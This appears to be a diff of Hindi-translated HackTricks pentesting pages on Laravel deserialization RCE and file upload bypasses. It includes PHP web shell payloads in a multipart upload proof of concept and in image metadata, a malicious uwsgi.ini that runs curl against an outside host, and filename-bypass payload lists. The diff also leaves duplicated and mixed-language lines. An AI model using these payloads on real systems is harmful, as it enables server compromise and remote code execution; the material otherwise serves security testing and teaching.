encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
संवेदनशील संस्करण: 5.5.40 और 5.6.x से 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
प्रभावित संस्करण: 5.5.40 और 5.6.x से 5.6.29 तक ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
यहाँ आप deserialization सुरक्षा कमजोरी के बारे में जानकारी पा सकते हैं: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
इस deserialization vulnerability के बारे में जानकारी यहाँ पाई जा सकती है: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
आप इसे [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) का उपयोग करके परीक्षण और शोषण कर सकते हैं\
|
||||
या आप इसे metasploit के साथ भी शोषण कर सकते हैं: `use unix/http/laravel_token_unserialize_exec`
|
||||
आप इसे परीक्षण और exploit करने के लिए [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ या आप metasploit का उपयोग करके भी इसे exploit कर सकते हैं: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
@ -187,11 +232,15 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
|
||||
|
||||
Other useful extensions:
|
||||
अन्य उपयोगी extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -15,13 +15,13 @@ Other useful extensions:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### फ़ाइल एक्सटेंशन जांच बायपास करना
|
||||
### फ़ाइल एक्सटेंशन चेक बायपास करना
|
||||
|
||||
1. यदि लागू हों, तो **पहले बताए गए एक्सटेंशंस** की **जांच** करें। साथ ही कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _चेक करें **वैध एक्सटेंशन के पहले एक वैध एक्सटेंशन जोड़ने** का (पहले बताए गए एक्सटेंशंस का भी उपयोग करें):_
|
||||
1. यदि वे लागू हों, तो **पहले बताए गए extensions** की **जाँच** करें। उन्हें कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _एक्जीक्यूशन एक्सटेंशन से पहले एक वैध एक्सटेंशन जोड़ने की जाँच करें (पहले बताए गए extensions का भी उपयोग करें):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. अंत में **विशेष वर्ण जोड़ने** की कोशिश करें। आप Burp का उपयोग करके सभी **ASCII** और **Unicode** characters को **bruteforce** कर सकते हैं। (_ध्यान दें कि आप **पहले** बताए गए **extensions** का भी उपयोग कर सकते हैं_)
|
||||
3. अंत में **विशेष कैरेक्टर** जोड़ने की कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** कैरेक्टर **bruteforce** कर सकते हैं। (_ध्यान दें कि आप पहले बताए गए **extensions** का भी उपयोग कर सकते हैं_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Other useful extensions:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. प्रोटेक्शंस को बायपास करने के लिए **server-side के extension parser को trick** करने की कोशिश करें, जैसे **extension को duplicate** करना या एक्सटेंशंस के बीच **junk data (null bytes)** डालना। _बेहतर payload तैयार करने के लिए आप **पहले बताए गए एक्सटेंशंस** का भी इस्तेमाल कर सकते हैं।_
|
||||
4. सर्वर-साइड के एक्सटेंशन पार्सर को फँसाकर सुरक्षा को बाइपास करने की कोशिश करें, जैसे **doubling** the **extension** या एक्सटेंशन्स के बीच **junk** डेटा (जैसे **null** बाइट्स) जोड़ना। _आप बेहतर payload तैयार करने के लिए **previous extensions** का भी उपयोग कर सकते हैं._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@ Other useful extensions:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. पिछले चेक में **एक और परत एक्सटेंशंस** जोड़कर देखें:
|
||||
5. पिछली जाँच में **एक और लेयर** extensions जोड़ें:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **exec एक्सटेंशन को वैध एक्सटेंशन से पहले** रखने की कोशिश करें और उम्मीद करें कि सर्वर misconfigured हो। (यह Apache misconfigurations का फायदा उठा सकता है जहाँ किसी भी फाइल का extension **.php** होने पर, भले ही फाइल .php पर खत्म न हो, code execute हो सकता है):
|
||||
6. वैध एक्सटेंशन से पहले **exec extension** रखने की कोशिश करें और आशा करें कि server misconfigured हो। (Apache misconfigurations को exploit करने में उपयोगी जहाँ किसी भी फाइल जिसका extension `.php` है, पर जरूरी नहीं कि वह `.php` पर खत्म हो, code execute हो जाएगा):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करना। इस मामले में एक colon ":" प्रतिबंधित एक्सटेंशन के बाद और अनुमत एक्सटेंशन से पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **खाली फाइल जिस पर प्रतिबंधित एक्सटेंशन है** बन सकती है (उदा. "file.asax:.jpg”). यह फाइल बाद में अन्य तकनीकों से edit की जा सकती है जैसे कि इसकी short filename का उपयोग। "**::$data**” pattern का उपयोग non-empty फाइल बनाने के लिए भी किया जा सकता है। इसलिए इस pattern के बाद एक dot जोड़ना आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
||||
8. फ़ाइल नाम की लिमिट्स तोड़ने की कोशिश करें। वैध एक्सटेंशन कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
7. **NTFS alternate data stream (ADS)** का उपयोग **Windows** में। इस स्थिति में, एक colon character ":" निषिद्ध extension के बाद और अनुमति प्राप्त एक extension के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर एक **खाली फ़ाइल जिसपर निषिद्ध extension होगा** बन जाएगी (उदा. "file.asax:.jpg”). इस फ़ाइल को बाद में अन्य तकनीकों के जरिए संपादित किया जा सकता है जैसे कि इसका short filename उपयोग करना। पैटर्न "**::$data**” का उपयोग non-empty फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक dot character जोड़ना भी आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
||||
8. फ़ाइलनाम की सीमाएँ तोड़ने की कोशिश करें। वैध extension कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
कुछ upload handlers सेव किए गए filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के 2.9.1 से पहले के संस्करणों में, आप extension validation को निम्न तरीकों से बायपास कर सकते हैं:
|
||||
|
||||
- एक वैध image MIME और magic header का उपयोग करें (उदा., PNG का `\x89PNG\r\n\x1a\n`).
|
||||
- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot लगाकर दें, उदाहरण के लिए `shell.php.`.
|
||||
- सर्वर trailing dot को हटा देता है और `shell.php` को persist करता है, जो execute होगा यदि यह किसी web-served directory में रखा गया हो (डिफ़ॉल्ट public storage जैसे `/storage/files/`).
|
||||
|
||||
न्यूनतम PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
फिर saved path पर हिट करें (Laravel + LFM में सामान्य):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
रोकथाम:
|
||||
- unisharp/laravel-filemanager को ≥ 2.9.1 में अपडेट करें।
|
||||
- सख्त server-side allowlists लागू करें और persisted filename को पुनः मान्य (re-validate) करें।
|
||||
- uploads को non-executable स्थानों से सर्व करें।
|
||||
|
||||
### Content-Type, Magic Number, Compression & Resizing को बायपास करना
|
||||
|
||||
- **Content-Type** checks को बायपास करने के लिए **Content-Type header** के **value** को सेट करें: _image/png_ , _text/plain , application/octet-stream_
|
||||
- **Content-Type** checks को बायपास करने के लिए **Content-Type** **header** के **value** को सेट करें: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** चेक को बायपास करने के लिए फाइल की शुरुआत में किसी असली image के **bytes** जोड़ें (ताकि _file_ command confuse हो)। या shell को **metadata** में डालें:\
|
||||
- **magic number** check को बायपास करने के लिए फाइल की शुरुआत में एक वास्तविक image के **bytes** जोड़ें (फाइल कमांड _file_ को confuse करने के लिए)। या shell को **metadata** के अंदर डालें:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप payload को सीधे image में भी डाल सकते हैं:\
|
||||
`\` या आप payload को सीधे किसी image में भी डाल सकते हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- यदि आपकी image पर **compression** लागू की जा रही है, जैसे कि कुछ standard PHP libraries जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग करते हुए, तो ऊपर दी गई तकनीकें काम नहीं करेंगी। ऐसे में आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression के बाद भी बचे** रह सकता है।
|
||||
- यदि आपकी image पर **compressions** जोड़ी जा रही है, उदाहरण के लिए PHP-GD जैसी मानक PHP लाइब्रेरी का उपयोग करते हुए, तो पिछले techniques उपयोगी नहीं होंगे। हालांकि, आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- वेब पेज image को **resize** भी कर सकता है, उदाहरण के लिए PHP-GD की `imagecopyresized` या `imagecopyresampled` functions का उपयोग करते हुए। हालाँकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression के बाद भी बचा रहे**।
|
||||
- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD की `imagecopyresized` या `imagecopyresampled` फंक्शन्स का उपयोग करके। हालांकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- एक और तकनीक जिससे payload image resizing सहन कर सके, PHP-GD की `thumbnailImage` function का उपयोग करके है। फिर भी, आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression/resize के बाद भी बचा रहे**।
|
||||
- एक और तकनीक है जिससे payload **image resizing** के बाद भी बच सकता है, जो PHP-GD के `thumbnailImage` फंक्शन का उपयोग करता है। हालांकि, आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### अन्य जाँचने योग्य ट्रिक्स
|
||||
### अन्य जांचने योग्य तरकीबें
|
||||
|
||||
- पहले से upload की गई फाइल का नाम **rename** करने की vulnerability ढूँढें (ताकि एक्सटेंशन बदला जा सके)।
|
||||
- backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability ढूँढें।
|
||||
- **संभव सूचना प्रकटीकरण**:
|
||||
1. एक ही फाइल को **कई बार** (और एक ही समय पर) एक ही **नाम** से upload करें।
|
||||
2. किसी ऐसे फाइल या फोल्डर के नाम से फाइल upload करें जो पहले से मौजूद हो।
|
||||
3. नाम के रूप में **".", "..", या "..."** जैसी फ़ाइलें अपलोड करना। उदाहरण के लिए, Apache में **Windows** पर, यदि application uploaded files को "/www/uploads/" डायरेक्टरी में सेव करती है, तो "." filename "/www/" डायरेक्टरी में "uploads" नाम की एक फाइल बना देगा।
|
||||
4. **NTFS** में ऐसी फाइल upload करें जिसे आसानी से delete न किया जा सके जैसे **"...:.jpg"**। (Windows)
|
||||
5. **Windows** में ऐसे invalid characters वाले नाम से फाइल upload करने की कोशिश करें जैसे `|<>*?”`।
|
||||
6. **Windows** में reserved (forbidden) names जैसे CON, PRN, AUX, NUL, COM1 ... LPT9 का उपयोग करके फाइल upload करने की कोशिश करें।
|
||||
- साथ ही यह भी आज़माएँ कि कोई **executable (.exe)** या एक **.html** फाइल upload करें (कम शक पैदा करने वाली) जिसे victim के द्वारा गलती से खोलने पर code execute हो सकता है।
|
||||
- पहले से अपलोड की गई फाइल का **rename** करने वाली कोई vulnerability खोजें (extension बदलने के लिए)।
|
||||
- backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability खोजें।
|
||||
- **संभावित सूचना-प्रकटीकरण**:
|
||||
1. एक ही फाइल को **कई बार** (और एक ही समय में) **उसी नाम** के साथ upload करें।
|
||||
2. ऐसी फाइल upload करें जिसका **name** किसी पहले से मौजूद **file** या **folder** जैसा हो।
|
||||
3. ऐसी फाइल upload करना जिसका नाम **"."**, ".." या "..." जैसा हो। उदाहरण के लिए, Apache में **Windows** पर यदि एप्लिकेशन "/www/uploads/" डायरेक्टरी में अपलोड फ़ाइलें सेव करता है, तो "." नाम वाली फ़ाइल "/www/" डायरेक्टरी में "uploads" नाम की फ़ाइल बना देगी।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से delete नहीं किया जा सके, जैसे **"…:.jpg"** NTFS में। (Windows)
|
||||
5. **Windows** में नाम में अवैध characters जैसे `|<>*?”` के साथ फाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में reserved (forbidden) names जैसे CON, PRN, AUX, NUL, COM1 … COM9, LPT1 … LPT9 आदि के साथ फाइल अपलोड करने की कोशिश करें।
|
||||
- यह भी आज़माएँ कि कोई **executable** (.exe) या कोई **.html** (कम संदिग्ध) अपलोड करें जो victim द्वारा गलती से खोले जाने पर कोड execute कर दे।
|
||||
|
||||
### Special extension ट्रिक्स
|
||||
### Special extension tricks
|
||||
|
||||
यदि आप **PHP server** पर फाइलें upload कर रहे हैं, तो code execute करने के लिए [**.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
यदि आप **ASP server** पर फाइलें upload कर रहे हैं, तो code execute करने के लिए [**.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
यदि आप **PHP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड execute करने के लिए **.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
यदि आप **ASP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड execute करने के लिए **.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` फाइलें Java के `.jar` की तरह हैं, लेकिन php के लिए, और इन्हें **php file की तरह** use किया जा सकता है (php से execute करके, या किसी script में include करके...)
|
||||
`.phar` फाइलें java के `.jar` की तरह होती हैं, पर php के लिए, और इन्हें php फ़ाइल की तरह उपयोग किया जा सकता है (php से execute करना, या किसी स्क्रिप्ट में include करना...)।
|
||||
|
||||
`.inc` extension कभी-कभी php फाइल्स के लिए इस्तेमाल होता है जो केवल import के लिए होते हैं, इसलिए किसी बिंदु पर किसी ने इस extension को execute होने की अनुमति दे रखी हो सकती है।
|
||||
`.inc` extension कभी-कभार php फाइलों के लिए उपयोग किया जाता है जो केवल import करने के लिए होते हैं, इसलिए किसी समय किसी ने इस extension को execute होने की अनुमति दे दी हो सकती है।
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
यदि आप Jetty server में एक XML फ़ाइल upload कर सकें तो आप [RCE प्राप्त कर सकते हैं क्योंकि new \*.xml and \*.war are automatically processed](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में upload करें और shell की उम्मीद रखें!
|
||||
यदि आप Jetty server में XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** जैसा कि नीचे image में दिखाया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद रखें!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
इस vulnerability की विस्तृत जाँच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
इस vulnerability के विस्तृत विश्लेषण के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
यदि किसी को `.ini` configuration file modify करने की क्षमता मिलती है तो uWSGI servers में Remote Command Execution (RCE) vulnerabilities का उपयोग किया जा सकता है। uWSGI configuration files एक विशिष्ट syntax का उपयोग करते हैं जिसमें "magic" variables, placeholders, और operators शामिल होते हैं। खास तौर पर, '@' operator, जिसका उपयोग `@(filename)` के रूप में होता है, किसी फाइल की सामग्री include करने के लिए डिज़ाइन किया गया है। uWSGI में समर्थित विभिन्न schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। जब एक `.ini` configuration file process होती है तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है।
|
||||
Remote Command Execution (RCE) vulnerabilities का उपयोग uWSGI servers में तब किया जा सकता है जब किसी के पास `.ini` configuration file को modify करने की क्षमता हो। uWSGI configuration files एक विशेष syntax का उपयोग करते हैं जो "magic" variables, placeholders, और operators को शामिल करने की अनुमति देता है। विशेष रूप से, '@' operator, जिसे `@(filename)` के रूप में उपयोग किया जाता है, किसी फ़ाइल की सामग्री को include करने के लिए design किया गया है। uWSGI में समर्थित विभिन्न schemes में "exec" scheme काफी शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। जब `.ini` configuration file प्रोसेस की जाती है तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read जैसे दुष्प्रयोगों के लिए किया जा सकता है।
|
||||
|
||||
निम्नलिखित हानिकारक `uwsgi.ini` फाइल का उदाहरण विचार करें, जो विभिन्न schemes का प्रदर्शन करता है:
|
||||
निम्नलिखित हानिकारक `uwsgi.ini` फ़ाइल के उदाहरण पर विचार करें, जो विभिन्न schemes दिखाती है:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,15 +156,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
पेलोड का execution configuration file की parsing के दौरान होता है। Configuration को सक्रिय और पार्स होने के लिए, uWSGI प्रक्रिया को या तो restart किया जाना चाहिए (संभवतः crash के बाद या Denial of Service attack के कारण) या फ़ाइल को auto-reload पर सेट करना होगा। यदि auto-reload सक्षम है, तो यह परिवर्तन मिलने पर निर्दिष्ट अंतरालों पर फ़ाइल को reload कर देता है।
|
||||
|
||||
यह समझना ज़रूरी है कि uWSGI की configuration file parsing काफी lax है। विशेष रूप से, ऊपर चर्चा किया गया payload एक binary file (जैसे image या PDF) में insert किया जा सकता है, जिससे संभावित exploitation का दायरा और बढ़ जाता है।
|
||||
यह समझना महत्वपूर्ण है कि uWSGI की configuration file parsing कितनी lax है। विशेष रूप से, यहां चर्चा किया गया payload एक binary फ़ाइल (जैसे image या PDF) में डाला जा सकता है, जिससे संभावित exploitation का दायरा और बढ़ जाता है।
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ मामलों में आप पाएंगे कि एक server **`wget`** का उपयोग **download files** करने के लिए कर रहा है और आप **indicate** कर सकते हैं **URL**। ऐसे मामलों में, code यह जांच सकता है कि downloaded files का extension whitelist में है ताकि केवल allowed files ही download हों। हालांकि, **यह check bypass किया जा सकता है।**
|
||||
कभी-कभी आपको पता चलेगा कि एक server **`wget`** का उपयोग करके **फ़ाइलें डाउनलोड** कर रहा है और आप **URL** निर्दिष्ट कर सकते हैं। ऐसे मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का extension एक whitelist के अंदर है ताकि केवल अनुमति प्राप्त फ़ाइलें ही डाउनलोड हों। हालाँकि, **यह जांच bypass की जा सकती है।**
|
||||
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **"A"\*232+".php"+".gif" नाम की फ़ाइल डाउनलोड कर सकते हैं**, यह फ़ाइलनाम उस **check** को **bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) पर `wget` फ़ाइल का **rename** करके उसे **"A"\*232+".php"** बना देगा।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -161,29 +191,29 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms का परीक्षण करने में सहायता देने के लिए बनाया गया है। यह विभिन्न bug bounty techniques का उपयोग करके vulnerabilities की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके कमजोरियों की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
